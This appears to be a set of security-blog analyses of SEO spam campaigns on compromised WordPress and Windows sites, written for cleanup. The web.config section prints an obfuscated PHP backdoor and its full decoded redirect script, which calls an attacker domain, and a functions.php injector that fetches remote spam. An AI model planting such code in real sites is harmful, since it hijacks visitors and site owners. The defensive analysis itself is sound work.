Face Mask Spam Links Injected in WordPress Database

During a recent malware removal request, we found a compromised WordPress site being used to redirect to spam websites. The campaign was leveraging an increase in search queries related to face masks.

To make their campaign more difficult to detect and boost SEO rankings, the attackers use a multitude of compromised third-party websites to funnel their traffic. They also use the World Health Organization name and images to add credibility to their campaign.

World Health Organization spam image

Spam links are injected into the widgets section of the wp_options database, resulting in the compromised environment linking to third-party sites trying to rank for face mask search terms.

Face mask spam links

The spam links have been set to conceal themselves from website visitors using <div style="display:none;">, all of which lead to the Shopify website https://lundybright[.]fr/ which was registered on March 2nd.

Compromised websites impacted by this spam campaign can use our hacked website cleanup guide to remove the infection.

Size for Opera: Hiding Spammy Links

There are many different tricks hackers use to make injected spam links invisible to regular visitors.

Below is an example employed by one link spam campaign, which primarily promotes porn, torrents, and pharma.

We’re finding links like these inside various HTML tags with short, random ids:

<span id="4CN8d"><a href="hxxps://youjizz[.]center">teen girls</a> busty ebony chick.</span>
….
<section id="Xwy2w"><a href="hxxps://youjizz[.]center" title="hot teens">hxxps://youjizz[.]center</a><br>
<a href="hxxps://www.thefappeninggirls[.]com">fappening 2020</a> alexa gets her cumshot.<br></section>
….
<span id="hgPdT">
                <a href="hxxp://yourbunny[.]mobi/">hxxp://yourbunny[.]mobi/</a> <br/>
        <a href="hxxp://lime-torrents[.]org">hxxp://lime-torrents[.]org</a> <br/>
        <a href="hxxp://kickasstorrente[.]net" rel="nofollow">kickass</a>
</span>

To hide the links, hackers injects scripts with misleading code.

For example, the following snippet tries to set the size of the spam link element to something entirely fictitious: size_for("Opera")

Code that hides the links

It even contains a function that counts the size. However, not only is the code unrelated to the Opera browser, it’s also erroneous because of the use of the undefined “sum” function.

This error is there “by design”. The code that invokes the size_for function is placed in the try...catch...finally block. No matter what happens in these try and catch blocks, it will always fall back to the finally section, which sets the “display” style of the element to “none”.

In another wave of link injections, this same campaign uses a combination of the following two scripts:

Two-piece spam hiding script

The first script defines the function end_(), which uses a misleadingly named function get_style() to hide the spam element. The second script is injected further in the HTML code to invoke the end_() function and conceal the spam.

At the time of writing, PublicWWW shows over a thousand websites with injected links from this campaign:

Spam Doorway Manager

While investigating a client’s compromised website, we saw a malicious file that was being used to manage an existing SEO spam doorway.

We usually refer to these types of files as doorway generators due to their uncanny ability to create new SEO spam pages/doors.

These files can be large, as they incorporate a lot of various features (e.g functions to check SERPs and update the spam accordingly). They are also often obfuscated using various encoding like base64, or use hexadecimal instead of ASCII characters, but this file was different:

./wp-admin/new_readme.php

It utilizes a less suspicious way to obscure the malicious code through an array, then uses a PHP function alias to make the suspicious code harder to detect.

This created function is responsible for fetching the new SEO spam content:

The send function enables the spammer to use send in the code whenever they wish to fetch new SEO spam

A few additionally created functions are then used for inserting the new spam into index.php or .htaccess files and modifying the file permissions:

These created functions are similar to the previous send example, except for different actions like inserting code using fpc instead of file_put_contents

Before these new functions are used, the new SEO spam’s location needs to be determined — this is accomplished using variables $a, $b, $c, and $d.

There is no hard coded URL or domain name. Instead, this is supplied in the HTTP request sent to the file by the spammer:

Note the usage of an array to define the $d variable and the $_REQUEST used to define $a

These variables and created functions are all combined to perform specific tasks based on HTTP parameters being met on the request, and sent by the spammer to the file:

This set of code in the file runs when used with an HTTP request containing an if parameter. It then fetches new data from the previously defined $a variable, using the methods in the previously created function send(e.g curl, file_get_contents).

The “缺&#22833;” text looks to be Chinese characters similar to a 404 “File not found” error page. As long as the fetched data doesn’t include that, it is inserted into the defined file (index.php) and printed to the output.

After sending this crafted HTTP request, an index.php file containing the content from our $a variable is created in the same ./spam/ directory

The created functions like send, rwx, fpc, and fgc can help evade detection by some scanning tools that only usestatic signature rules, as they may only be looking for the PHP functions file_put_contents, file_get_contents, chmod, etc.

The attacker also avoids using common obfuscation methods like eval(base64), which are easily detectable and suspicious. However, a file integrity monitor would detect the addition of SEO spam doorways — including this malicious file, as well.

Shoesinfy Spam Injections

Lately, we've seen quite a few sites with injected spammy links that follow this format:

<div style="position: absolute; opacity: 0.001; z-index: 10; filter: alpha(opacity=0);">
<a href="https://www.shoesfindoutlet[.]co/">www.shoesfindoutlet[.]co</a>
<a href="https://www.stepperbest[.]com/">stepper motor</a>
</div>

The spammy domains may change from time to time but the entire format — and trick to make the content invisible — remains the same.

When we clean infected WordPress sites related to this campaign, we find malicious code similar to the following snippet injected into the active theme's function.php file.

<?php
function add_my_custom_script(){
$url_current = "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
?>
 <?php
    $url5 = "https://<compromised-site>/";
    if($url_current == $url5){ 
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site1>.txt');
    echo $file;
    ?>

<?php 
}
else
{
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site>.txt');
    echo $file;
}
?>

<?php
}
add_action('wp_footer', 'add_my_custom_script');

The block with spammy links is fetched from the remote shoesinfy[.]com site, allowing attackers to modify the injected code without accessing the site.

Moreover, each compromised site has its own text file with links on shoesinfy[.]com (found as shoesinfy[.]com/domain.tld1.txt). This text file allows bad actors to customize their spam injections across different compromised sites.

FBCMS Pharmacy Spam Website

Whenever most people think of a website CMS, they most often think of the popular options like WordPress, Joomla, or Drupal. What do all three of those CMS platforms have in common along with most common CMS platforms? They use a programming language like PHP in conjunction with a database that is used to store the user-generated data. Now, in most cases that I have seen throughout the years, it is rare for a hacker to deploy one of these CMS platforms on a compromised website and use it for malicious purposes. It is usually just easier for the hacker to upload a few .zip files containing their doorway spam tools, then unzip them and move onto a new target. The content of these .zip files is usually a large directory containing a few scripts and a lot of SEO spam content that will be used to divert traffic or boost keywords. Another popular technique used by these SEO spammers is to inject existing website files and push new keywords “on-the-fly” from a remote server to the compromised websites hosting the injected files—more on that method here.

I mention this because I came across a pharmacy spam directory on a compromised website that was constructed using the Bootstrap CSS framework, along with various PHP engine files that serve the pharmacy content based on a visitor’s geolocation. Once it is loaded, it looks like a generic CMS or Bootstrap designed website except it is dedicated entirely to pharmacy spam:

Easily deployed, customisable pharmacy spam website
Easily deployed, customisable pharmacy spam website

A bizarrely named file ./wp-content/mu-plugins/0-sucuri-boot.php is used to begin loading the malicious pharmacy spam content. It contains similar header comments to our Sucuri plugin to add some fake authenticity. However, the file itself just loads the pharmacy website that was located in the directory wp-content/gforms/:
0-sucuri-boot.php: We do not use a file with such a name in our WordPress plugin
0-sucuri-boot.php: We do not use a file with such a name in our WordPress plugin

While it is unknown how the pharmacy spam website was created it looks like someone spent some time with the overall template as it has many features built into it), the configuration file is located within a ./cfg/config.victimdomain.php. This is used to define the target country (in this case, the United States) and a lot of other features related to what is going to be ultimately displayed to the visitor:

Overall, this pharmacy spam website uses over 750 files since it cannot depend upon a database to store the many pharmacy products it is advertising. It’s important to note that no actual sales occur through this pharmacy spam website that is placed onto compromised websites. Instead it redirects the visitor once they finally are ready to order:

web.config redirect malware

We recently found this malware on a windows hosting server where the web.config file was modified with the following code:

The code redirects multiple user agents and users referred from Google,Yahoo, MSN etc. to conceit-gleaned.php
The file conceit-gleaned.php contains the malware that is encoded to avoid detection, but we were able to reverse it and pull the plain text code.The malware communicates with the website gettheseorders[dot]ru in order to redirect users to the page they want. In this case, it redirected to Viagra-related pages but it could be anything in the future.

This is the malware added to the file conceit-gleaned.php:

<?php $ZdcIihIC="bSh8gtxCo6JlYQiK4AkwdIDe_VnN7OTfFr3sPZHaG291jRUqmcvXMzEy50puLWB";$wHnnxSifPdjM=$ZdcIihIC[0].
 $ZdcIihIC[39] . $ZdcIihIC[35] . $ZdcIihIC[23]. $ZdcIihIC[9] .$ZdcIihIC[16] . $ZdcIihIC[24]. $ZdcIihIC[20] .
 $ZdcIihIC[23]. $ZdcIihIC[49].$ZdcIihIC[8].$ZdcIihIC[20] .$ZdcIihIC[23];$cQBlOMOpUwc=$ZdcIihIC[4].$ZdcIihIC[53] .
 $ZdcIihIC[14].$ZdcIihIC[26] .$ZdcIihIC[31] .$ZdcIihIC[11] . $ZdcIihIC[39] .$ZdcIihIC[5]. $ZdcIihIC[23];
 $bHUDmvkyJ=$ZdcIihIC[23]. $ZdcIihIC[33].$ZdcIihIC[33] . $ZdcIihIC[8] .$ZdcIihIC[33] .$ZdcIihIC[24] .
  $ZdcIihIC[33] .$ZdcIihIC[23]. $ZdcIihIC[58] .$ZdcIihIC[8]. $ZdcIihIC[33] .$ZdcIihIC[5].$ZdcIihIC[14]. 
  $ZdcIihIC[26] .$ZdcIihIC[4];$cBpAXxrcExTv=$ZdcIihIC[49].$ZdcIihIC[33]. $ZdcIihIC[23] . $ZdcIihIC[39].
   $ZdcIihIC[5]. $ZdcIihIC[23].$ZdcIihIC[24]. $ZdcIihIC[31]. $ZdcIihIC[59]. $ZdcIihIC[26].$ZdcIihIC[49]. 
   $ZdcIihIC[5]. $ZdcIihIC[14]. $ZdcIihIC[8] . $ZdcIihIC[26];$bHUDmvkyJ(0);
   $jOfMRiAkmjE=$cBpAXxrcExTv("",$cQBlOMOpUwc($wHnnxSifPdjM("vRhrU9u49nM6w3/wut5i36ZOwqPbKZjClrRlymtDaOfewngUWyFa/
(edited) 
BD00Jz7anEV+JKgEXX5qhb3XF/5/AA==")));$jOfMRiAkmjE();?>

We were able to reverse it and this is the code that causes the redirect:

Here is the full script after we decoded it:

set_time_limit(0);
function change_page_regex($page, $links,$reg,$res){
$elements = array(); if (preg_match_all($reg, $page, $result)) { 
$elements = $result[$res]; $elements = array_unique($elements);
$m=min(count($links),count($elements));
for ($i = 0; $i < $m; $i++) { $link = array_shift($links); $element = array_shift($elements); $page = preg_replace('/' . preg_quote($element, '/') . '/', '$0 ' . $link, $page, 1); } if (count($links)>0){ $element = "<p>"; $element .= implode("<br>\n", $links); $element .= "</p>"; $page = preg_replace('/\<\/body\>/i', "\n" . $element . "\n$0", $page, 1); return $page;}
function curly_page_get($url,$useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"){ $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 3000); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_USERAGENT, $useragent); $result = curl_exec ($ch); $curly_page_get_info=curl_getinfo($ch);
curl_close($ch); return array($result,$curly_page_get_info);}
function get_proxy_page(){ $proto=stripos(@$_SERVER['SERVER_PROTOCOL'],'https') === true ? 'https://' : 'http://'; $crurl=$proto.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']; list($buf,$curly_page_get_info)=curly_page_get($crurl);
$ct=@$curly_page_get_info['content_type']; $nexturl=@$curly_page_get_info['redirect_url']; $status=@$curly_page_get_info['http_code']; if (status!="")header("Status: $status");
if ($ct!=""){ header("Content-type: $ct"); if ($nexturl!=""){ header("Location: $nexturl"); return array($buf,$ct);
}
if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();if (!is_dir($tmppath)){ $tmppath = (dirname(__FILE__)); } } else { $tmppath = (dirname(__FILE__));}
$content="";$x=@$_POST["pppp_check"];$md5pass="e5e4570182820af0a183ce1520afe43b";
$host=@$_SERVER["HTTP_HOST"];$uri=@$_SERVER["REQUEST_URI"];$host=str_replace("www.","",$host);$md5host=md5($host);$urx=$host.$uri;$md5urx=md5($urx);
$tmppath=$tmppath."/.".$md5host."/";@mkdir($tmppath);
$configs=$tmppath."emoji1.png";$bd=$tmppath."metaicons.jpg";$templ=$tmppath."wp-themesall.gif";
$domain=base64_decode("Z2V0dGhlc2VvcmRlcnMucnU=");$p=md5(base64_decode(@$_POST["p"]));
if (($x!="")&&($p==$md5pass)){
if ($x=="2"){ echo "###UPDATING_FILES###\n"; list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/emoji1.png"); @file_put_contents($configs,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/metaicons.jpg"); @file_put_contents($bd,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/wp-themesall.gif"); @file_put_contents($templ,$buf1);
exit; 
 if ($x=="4"){ echo "###WORKED###\n";exit; 
 }else{
$cf=array(); if (@file_exists($configs)){ $cf=@unserialize(@base64_decode(@file_get_contents($configs))); if (@isset($cf[$md5urx])){ $bot=0;$se=0;$ua=@$_SERVER["HTTP_USER_AGENT"];$ref=@$_SERVER["HTTP_REFERER"];$myip=@$_SERVER["REMOTE_ADDR"]; if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", $ref))$se=1; if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", $ua))$bot=1; $off=$cf[$md5urx]+0; $template=@base64_decode(@file_get_contents($templ));$f=@fopen($bd,"r");@fseek($f,$off);$buf=trim(@fgets($f,10000000));@fclose($f);$info=unserialize(base64_decode($buf)); $keyword=@$info["keyword"];$IDpack=@$info["IDpack"];$base=@$info["base"];$text=@$info["text"];$title=@$info["title"];$description=@$info["description"];$uckeyword=ucwords($keyword);$inside_links=@$info["inside_links"]; if ($bot) { if (isset($info["contenttype"])){$contenttype=@base64_decode($info["contenttype"]);$types=explode("\n",$contenttype);foreach($types as $val){$val=trim($val);if($val!="")header($val);}}
if (isset($info["isdoor"])){
if (isset($info["standalone"])){ $doorcontent=base64_decode($text); echo $doorcontent;exit; }else{ $template=str_replace("%text%",$text,$template); $template=str_replace("%title%",$title,$template); $template=str_replace("%description%",$description,$template); $template=str_replace("%uckeyword%",$uckeyword,$template); $template=str_replace("%keyword%",str_replace(" ", ",", trim($keyword)),$template);
foreach($inside_links as $i => $link){ $template=str_replace("%INSIDE_LINK_".$i."%",$link,$template); }
echo $template;exit; } }else{
list($buf,$ct)=get_proxy_page();
if (stristr($ct,"text/html")){ $rega='/\<a\s.*?\>.*?\<\/a\>/i';$resa=0; $links=$info["links_a"]; $buf=change_page_regex($buf,$links,$rega,$resa);
$regp='/(.{30}\<\/p\>)/is';$resp=1; $links=$info["links_p"]; $buf=change_page_regex($buf,$links,$regp,$resp);
}
echo $buf; }
} if ($se) { if (isset($info["isdoor"])){ list($buf1,$curly_page_get_info)=curly_page_get("http://$domain/ff.php?ip=".$IDpack."&mk=".rawurlencode($keyword)."&base=".rawurlencode($base)."&d=".rawurlencode($host)."&u=".rawurlencode($urx)."&addr=".$myip."&ref=".rawurlencode($ref),$ua); echo $buf1;exit; }else{ list($buf,$ct)=get_proxy_page(); echo $buf;exit; } } }else{
list($buf,$ct)=get_proxy_page(); echo $buf; 
}

You can see here that different data is recorded. By providing only the first two variables, we were still redirected to a spam site:

http://$domain/ff.php?ip=".$IDpack."&mk=".rawurlencode($keyword)."&base=".rawurlencode($base)."&d=".rawurlencode($host)."&u=".rawurlencode($urx)."&addr=".$myip."&ref=".rawurlencode($ref),$ua);
hxxp://gettheseorders[dot]ru/ff.php?ip=12423&mk=test

I was able to get redirected to the following spam/scam sites:

an-order-shop[dot]comalltabsstorekeys[dot]com

In this case, the web.config file was used to facilitate this redirect, as this was a Windows hosting environment, but it can easily be adopted to work under Linux. We recommend checking the .htaccess file or the web.config file if you are dealing with a similar problem. Also removing the malicious files; the path to them can be found in the configuration files I previously mentioned.

Spam Injector Masquerading as Google Analytics

The domain en-google-analytic[.]com, currently sinkholed by a security intelligence company, has been observed by our team to be part of a mass spam injection campaign. This attack was active as far back as February 2016 according to the Internet Archive Wayback Machine.

We have seen recent cases in the wild where a script is injected into WordPress posts. The script then generates an AJAX request from a visitor's web browser to the following URL format:

hxxp://en-google-analytic[.]com/client-slots/check/<fully qualified domain name>;<base64 encoded string of the URL>;<string of the IP address>;ver1_0 

The results are then inserted directly into the document body by using JavaScript to insert spam links (as shown in the partial sample below):

clientInfo.callGet('hxxp://en-google-analytic[.]com/client-slots/check/' + dataString, function(dataLinks) { 
  if (dataLinks) { 
    dataLinks = 
    JSON.parse(dataLinks); 
    for (var i = 0; i < dataLinks.length; i++) { 
       var div1 = document.createElement('a'); 
       div1.title = dataLinks[i].anchor; 
       div1.href = dataLinks[i].href; 
       div1.setAttribute('style', 'display:block;'); 
       div1.innerHTML = dataLinks[i].anchor; 
       document.body.insertBefore(div1, document.body.firstChild); 
    } 
} 

It’s worth noting that this piece of malware captures the IP address using a remote request to api.ipify.org which is a legitimate third-party API service.

So, if you happen to stumble upon references to en-google-analytic[.]com on your website or in your WordPress posts, it would be a good idea to have the site checked out to make sure it’s not infected with spam as part of this campaign.